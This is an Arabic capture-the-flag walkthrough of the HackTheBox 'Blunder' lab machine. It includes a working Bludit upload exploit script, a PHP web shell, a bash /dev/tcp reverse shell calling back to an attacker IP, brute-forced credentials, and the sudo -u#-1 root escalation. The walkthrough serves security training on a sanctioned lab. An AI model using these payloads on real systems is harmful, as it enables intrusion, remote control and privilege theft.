> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/blunder-hackthebox-writeup.md).

# شرح Blunder HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Blunder>" %}

{% hint style="warning" %}
**المهارات:**

* استغلال نظام إدارة المحتوى Bludit
* تجاوز حظر IP (ترويسة X-Forwarded-For)
* رفع ملف صورة عبر اجتياز المجلدات (التلاعب بـ .htaccess)
* إساءة استخدام امتياز sudo (CVE-2019-14287)
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/cd524866ebeb22289cc2c9fa932281a27f28bc06" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/c75228c482df139e95e73ee84183731c9eac0d79" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.191 -oG allPorts
```

<figure><img src="/files/a6ad5547270c946ba08ba1ded38fb08cc31aecf5" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

استخدم دالة extractPorts لعرض المنافذ المفتوحة بصيغة مختصرة ونسخها إلى الحافظة (80)

<figure><img src="/files/ed231be4c105094348ddb1e8c5aae0c49f93913a" alt="" width="563"><figcaption></figcaption></figure>

فحص إصدارات المنافذ باستخدام Nmap:

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p80 10.10.10.191 -oN targeted
```

<figure><img src="/files/5383c7c7dfc2ed60450ae36d8ca1fd7e99676395" alt=""><figcaption></figcaption></figure>

لحل أسماء النطاقات إلى عناوين IP عبر DNS، نقوم بإدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف:

<figure><img src="/files/03ea0195123bfd5d79bdd0a3d6c09ba6012f62f4" alt=""><figcaption></figcaption></figure>

## المنفذ 80 (Blunder):

<figure><img src="/files/b8678d8dc26d3f47004df094ec6c08dd9d1cbe6f" alt=""><figcaption></figcaption></figure>

**فحص الدلائل**

استخدم **Gobuster** للعثور على دلائل مثيرة للاهتمام:

```bash
gobuster dir -u http://blunder.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

* النتيجة: اكتشاف **/admin** الدليل.

<figure><img src="/files/9e4421da7de9e414dbdc9662ade17ddb4c6c617f" alt=""><figcaption></figcaption></figure>

**تحديد نظام إدارة المحتوى**

من خلال الوصول إلى **/admin**، تم اكتشاف Bludit CMS (الإصدار **3.9.2**) تم اكتشافه.

<figure><img src="/files/afda5f0c39315a898f91bd82ec236674a45b43bb" alt="" width="360"><figcaption></figcaption></figure>

## **استغلال نظام إدارة المحتوى Bludit**

<figure><img src="/files/efb666c7e473d017b011f3e31c706f39ead54d6d" alt=""><figcaption></figcaption></figure>

**البحث عن الثغرات**

استخدم `searchsploit` للعثور على الثغرات المعروفة:

<figure><img src="/files/0079ad0d9662057ae767e6a2328452b938ef515a" alt=""><figcaption></figcaption></figure>

#### تم اكتشاف ثغرة: **CVE-2019-17240**

{% hint style="info" %}
يهدف هذا الاستغلال إلى استغلال ثغرة في آلية التخفيف من هجمات القوة الغاشمة على Bludit، وهي منصة CMS (نظام إدارة المحتوى). وتُعرَّف الثغرة، المحددة باسم **CVE-2019-17240**، على أنها تسمح للمهاجم بتجاوز الحماية ضد هجمات القوة الغاشمة المطبقة في إصدارات Bludit الأقدم من أو المساوية لـ 3.9.2.
{% endhint %}

`searchsploit -m php/webapps/48942.py`

**تم العثور على ملف نصي**

أجرِ بحثًا إضافيًا باستخدام Gobuster:

```bash
gobuster dir -u http://blunder.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php,txt,html
```

<figure><img src="/files/7dd63d616f3193c3e18f33db25946b875a37a222" alt=""><figcaption></figcaption></figure>

المحتوى: المستخدم المحدد: **fergus**.

<figure><img src="/files/e2fc02e484b1bb0afebf72ffc56a632809675cd2" alt="" width="375"><figcaption></figcaption></figure>

### القوة الغاشمة على Bludit

بمجرد اكتشاف المستخدم **fergus** ، استخدم قاموسًا لشن هجوم بالقوة الغاشمة:

```bash
python3 exploit.py -l http://blunder.htb/admin/ -u user.txt -p password.txt
```

لم يتم العثور على تطابق للملف **rockyou.txt**.

### **قاموس مخصص**

استخدم **Cewl** لإنشاء قاموس استنادًا إلى الموقع الإلكتروني:

```bash
cewl -u http://blunder.htb/ -w password.txt
```

<figure><img src="/files/298c785a277a900735a7726fbc374d21e6485227" alt="" width="563"><figcaption></figcaption></figure>

أعد تشغيل هجوم القوة الغاشمة باستخدام القاموس المخصص:

<figure><img src="/files/5c21a309a1301edf66b5cde0f678c2c4c5f98ced" alt=""><figcaption></figcaption></figure>

* تم العثور على كلمة المرور: `fergus:RolandDeschain`

<figure><img src="/files/4b02806fb5539e847ce9f3648f77bb09b4b0caba" alt=""><figcaption></figcaption></figure>

## استغلال رفع ملف صورة عبر اجتياز المجلدات:

بعد المصادقة، يكون هذا نظام إدارة المحتوى عرضة لهجوم من نوع **اجتياز المجلدات** يسمح برفع ملفات خبيثة.

{% embed url="<https://github.com/bludit/bludit/issues/1081>" %}

{% hint style="info" %}
يمكننا تحديد موقع الملف المُحمَّل عبر تغيير قيمة `uuid` ثم رفع صورة خبيثة إلى المجلد المؤقت.
{% endhint %}

بعد المصادقة، يمكن تنزيل استغلال جديد عبر `searchsploit` في `multiple/webapps/48701.txt`والذي يوفّر خطوات استغلال هذه الثغرة.

<figure><img src="/files/283b14f3a1a8f24b8f8d8082cbda9c5642ca0b32" alt=""><figcaption></figcaption></figure>

**خطوات التنفيذ**

<figure><img src="/files/639e588c520866c2d3f18f85f8042bcd715ec266" alt=""><figcaption></figcaption></figure>

1. **أنشئ ملفًا خبيثًا** (`evil.png`) يحتوي على شيفرة PHP:

```bash
<?php
system($_GET['cmd']);
?>
```

2. **عدّل السكربت ليتناسب مع الحالة** (عنوان IP للضحية، اسم المستخدم، كلمة المرور، إلخ).

<figure><img src="/files/ac69a85284b668941b22956e546e86fea4502a76" alt="" width="563"><figcaption></figcaption></figure>

3. **شغّل الاستغلال:**

سكربت بايثون للاستغلال:

```python
#!/usr/bin/env python3

import requests
import re
import argparse
import random
import string
import base64
from requests.exceptions import Timeout

url = 'http://blunder.htb/admin'  # غيّرني
username = 'fergus'  # غيّرني
password = 'RolandDeschain'  # غيّرني

# msfvenom -p php/reverse_php LHOST=127.0.0.1 LPORT=53 -f raw -b '"' > evil.png
# echo -e "<?php $(cat evil.png)" > evil.png
payload = 'evil.png'  # أنشئني

#echo "RewriteEngine off" > .htaccess
#echo "AddType application/x-httpd-php .png" >> .htaccess
payload2 = '.htaccess'  # أنشئني

def login(url,username,password):
    """ سجّل الدخول ببيانات اعتماد المسؤول المقدمة، ثم احصل على الكوكي بمجرد المصادقة """

    session = requests.Session()
    login_page = session.get(url + "/admin/")
    csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"',
                           login_page.text
                 ).group(1)
    cookie = ((login_page.headers["Set-Cookie"]).split(";")[0].split("=")[1])
    data = {"save":"",
            "password":password,
            "tokenCSRF":csrf_token,
            "username":username}
    headers = {"Origin":url,
               "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
               "Upgrade-Insecure-Requests":"1",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer": url + "/admin/",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate",
               "Content-Type":"application/x-www-form-urlencoded"
    }
    cookies = {"BLUDIT-KEY":cookie}
    response = session.post(url + "/admin/",
                            data=data,
                            headers=headers,
                            cookies=cookies,
                            allow_redirects = False
               )

    print("الكوكي: " + cookie)
    return cookie

def get_csrf_token(url,cookie):
    """ استخرج رمز CSRF من جلسة مصادقة """

    session = requests.Session()
    headers = {"Origin":url,
               "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
               "Upgrade-Insecure-Requests":"1",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer":url + "/admin/",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate"}
    cookies = {"BLUDIT-KEY":cookie}
    response = session.get(url + "/admin/dashboard",
                           headers=headers,
                           cookies=cookies
               )
    csrf_token = response.text.split('var tokenCSRF = "')[1].split('"')[0]

    print("رمز CSRF: " + csrf_token)
    return csrf_token

def upload_evil_image(url, cookie, csrf_token, payload, override_uuid=False):
    """ ارفع الملفات المطلوبة لتنفيذ PHP من ملفات الصور الخبيثة. الحمولة وملف .htaccess """

    session = requests.Session()
    files= {"images[]": (payload,
                         open(payload, "rb"),
                         "multipart/form-data",
                         {"Content-Type": "image/png", "filename":payload}
                        )}
    if override_uuid:
        data = {"uuid": "../../tmp/temp",
                "tokenCSRF":csrf_token}
    else:
        # في التطبيق المعرض للثغرة، يظهر هذا السطر أولاً:
        # Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);
        # على الرغم من وجود فحص لامتداد الملف، فإنه لن يمنعنا فعليًا
        # من رفع ملف .htaccess.
        data = {"tokenCSRF":csrf_token}
    headers = {"Origin":url,
               "Accept":"*/*",
               "X-Requested-With":"XMLHttpRequest",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer":url + "/admin/new-content",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate",
    }
    cookies = {"BLUDIT-KEY":cookie}
    response = session.post(url + "/admin/ajax/upload-images", data=data, files=files, headers=headers, cookies=cookies)
    print("جاري رفع الحمولة: " + payload)

if __name__ == "__main__":
    cookie = login(url, username, password)
    token = get_csrf_token(url, cookie)
    upload_evil_image(url, cookie, token, payload, True)
    upload_evil_image(url, cookie, token, payload2)
```

<figure><img src="/files/44da199d4498e2e3b14bf95b62446f9cd62c594d" alt="" width="563"><figcaption></figcaption></figure>

4. **الوصول إلى الملف الخبيث**: بمجرد تنزيل الصورة، ما عليك سوى الانتقال إلى `/bl-content/tmp/temp/evil.png` لتنفيذ الأوامر.

<figure><img src="/files/d10b037cc414289133228b844c8b47a9e0ba5450" alt="" width="552"><figcaption></figcaption></figure>

5. **استمع على المنفذ 443 باستخدام Netcat**:

```bash
nc -nvlp 443
```

5. **نفّذ شِلًّا عكسيًا**:

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.2/443 0>%261"
```

<figure><img src="/files/beef5abdf4e754bd5e07c5c88f858d091b607dc6" alt="" width="563"><figcaption></figcaption></figure>

**إدارة جلسة الطرفية** :

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## تصعيد الامتيازات

يكشف استكشاف الملفات عن ملف `users.php` في `قواعد البيانات` مجلد يحتوي على بيانات اعتماد مجزأة للمستخدمين `fergus` و `admin`:

`admin:bfcc887f62e36ea019e3295aafb8a3885966e265`

`fergus:be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7`

<figure><img src="/files/edc75ddeda0dfee3eab36e13df58a6366630265e" alt=""><figcaption></figcaption></figure>

عند استخدام CrackStation لمحاولة كسر هذه الهاشات، يبدو أنها غير معروفة.

<figure><img src="/files/a6fba63285b1a2dfad37150338ec1926b07777c6" alt=""><figcaption></figcaption></figure>

ومع ذلك، في جذر الموقع، تم العثور على نسخة أحدث من Bludit، تحتوي على نفس ملفات الإعداد، ولكن ببيانات اعتماد مختلفة:

<figure><img src="/files/3acb75dae6dfa52ec24db265a1037df7b71ee4e7" alt="" width="497"><figcaption></figcaption></figure>

* **hugo** : `faca404fd5c0a31cf1897b823c695c85cffeb98d`

<figure><img src="/files/0db61df750a53f8847d8b1df83a6c2f845a1516a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/46d5916aff4959cc7f88119bd6372375f2c676cc" alt=""><figcaption></figcaption></figure>

`hugo:Password120`

<figure><img src="/files/a11c24a9f73024e328e5170a458802c2c5a4399c" alt="" width="563"><figcaption></figcaption></figure>

### علم user.txt:

<figure><img src="/files/b379327b6ca4f747e9ae7c179e452eea3794bd1a" alt="" width="563"><figcaption></figcaption></figure>

### إساءة استخدام امتياز sudo (CVE-2019-14287):

أثناء فحص امتيازات sudo، اكتشفنا إعدادًا ضعيفًا في ملف sudoers. باستخدام `sudo -l` الأمر، حدّدنا امتيازًا يسمح لجميع المستخدمين باستثناء `root` لتسجيل الدخول باستخدام `/bin/bash` الأمر:

<figure><img src="/files/5218e35e5be7a4c8f4c0fdd49dac2b3d7f2babfc" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.exploit-db.com/exploits/47502>" %}

تؤثر هذه الثغرة على جميع إصدارات sudo قبل الإصدار 1.8.27.

في حالتنا، إصدار sudo أقل من 1.8.27، مما يجعل هذه الثغرة قابلة للاستغلال.

<figure><img src="/files/1df225a34fbd7f4ce386d2ce3c472e95d75cafd5" alt="" width="510"><figcaption></figcaption></figure>

لاستغلال هذه الثغرة، ما عليك سوى تشغيل الأمر التالي:

```bash
sudo -u#-1 /bin/bash
```

يتيح لك هذا الأمر تشغيل شِلّ كمستخدم `-1`، وهو ما يقابل المستخدم `root`.

<figure><img src="/files/018254a1d4dc3872c6491ec592fdf4c9a80b242f" alt="" width="563"><figcaption></figcaption></figure>

### العلم root.txt :)

<figure><img src="/files/09d7d79f5f47ef64c6acabaf5cfa61301a4a1ee2" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/9b9b4dfa7afe937df2c1e404e62afdb3c0baddb4" alt="" width="532"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/blunder-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
